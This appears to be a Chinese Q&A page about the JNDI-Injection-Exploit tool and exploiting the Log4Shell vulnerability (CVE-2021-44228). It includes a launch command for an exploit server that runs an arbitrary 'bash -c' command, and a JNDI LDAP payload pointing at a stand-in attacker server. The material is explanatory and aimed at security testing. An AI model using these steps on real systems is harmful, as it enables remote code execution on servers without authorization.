jndi-injection-exploit-1.0-snapshot-all.jar
时间: 2023-04-20 10:01:35 浏览: 231
jndi-injection-exploit-1.-snapshot-all.jar 是一个 Java 应用程序,用于测试和利用 JNDI 注入漏洞。JNDI 注入漏洞是一种常见的安全漏洞,攻击者可以利用该漏洞在目标系统上执行任意代码。该工具可以帮助安全研究人员和渗透测试人员测试和评估系统的安全性。
相关问题
kali安装jndi
Kali安装JNDI需要以下步骤:
1. 首先,下载并安装Maven组件。可以使用命令`apt-get install maven`来安装Maven。
2. 下载JNDI服务器的启动程序JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,并将其放置在Kali上的适当位置。
3. 使用以下命令来启动JNDI服务器:
```
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c '<具体命令>'" -A <服务器IP>
```
其中,`<具体命令>`是你想要执行的具体命令,用双引号引起来,`<服务器IP>`是JNDI服务器的IP地址。
CVE-2021-44228利用
### CVE-2021-44228 漏洞利用概述
CVE-2021-44228 是 Apache Log4j2 库中的一个严重远程代码执行 (RCE) 漏洞,影响版本 2.* <= Apache log4j2 2.15.1.rc1[^2]。此漏洞源于 Log4j 的 JNDI 功能未正确处理恶意输入,使得攻击者可以通过精心构造的日志消息触发远程代码加载。
#### 利用过程描述
为了成功利用该漏洞,通常需要以下几个条件:
1. **目标应用程序使用易受攻击版本的 Log4j**
目标应用必须正在运行受影响范围内的 Log4j 版本,并且配置启用了 JNDI 查找功能。
2. **能够向日志记录器发送可控字符串**
攻击面取决于如何以及在哪里记录了用户提供的数据;任何地方如果直接或间接地将不受信任的数据作为参数传递给 `logger.info()` 或其他类似的 API 调用,则可能存在风险。
3. **具备可访问 LDAP/HTTP 等协议的服务端点来托管恶意类文件**
这是为了让受害服务器尝试从中检索并反序列化对象实例,从而实现任意命令执行的目的。
具体操作上,可以采用如下方式构建 payload 并注入到日志条目中:
```java
String maliciousInput = "${jndi:ldap://attacker-server/exploit}";
// 假设这里有一个函数会把传入的内容写入日志
log.warn(maliciousInput);
```
当上述代码被执行时,`maliciousInput` 中包含特殊格式 `${...}` 的部分会被解析成 JNDI 查询表达式,在某些情况下这会导致 JVM 尝试连接至指定 URL 下载外部资源(如 Java 类),最终导致 RCE 发生。
值得注意的是,实际环境中还需要考虑防火墙规则、网络隔离等因素对整个攻击链的影响。此外,随着安全补丁发布和技术社区对该问题的关注度增加,许多默认设置已被修改以防止此类攻击的发生。
对于研究目的而言,有专门为此设计好的测试环境和工具可以帮助理解漏洞的工作原理而不至于造成真实损害。例如提到过的开源项目提供了名为 `JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar` 文件用于模拟攻击场景下的行为模式[^3]。
阅读全文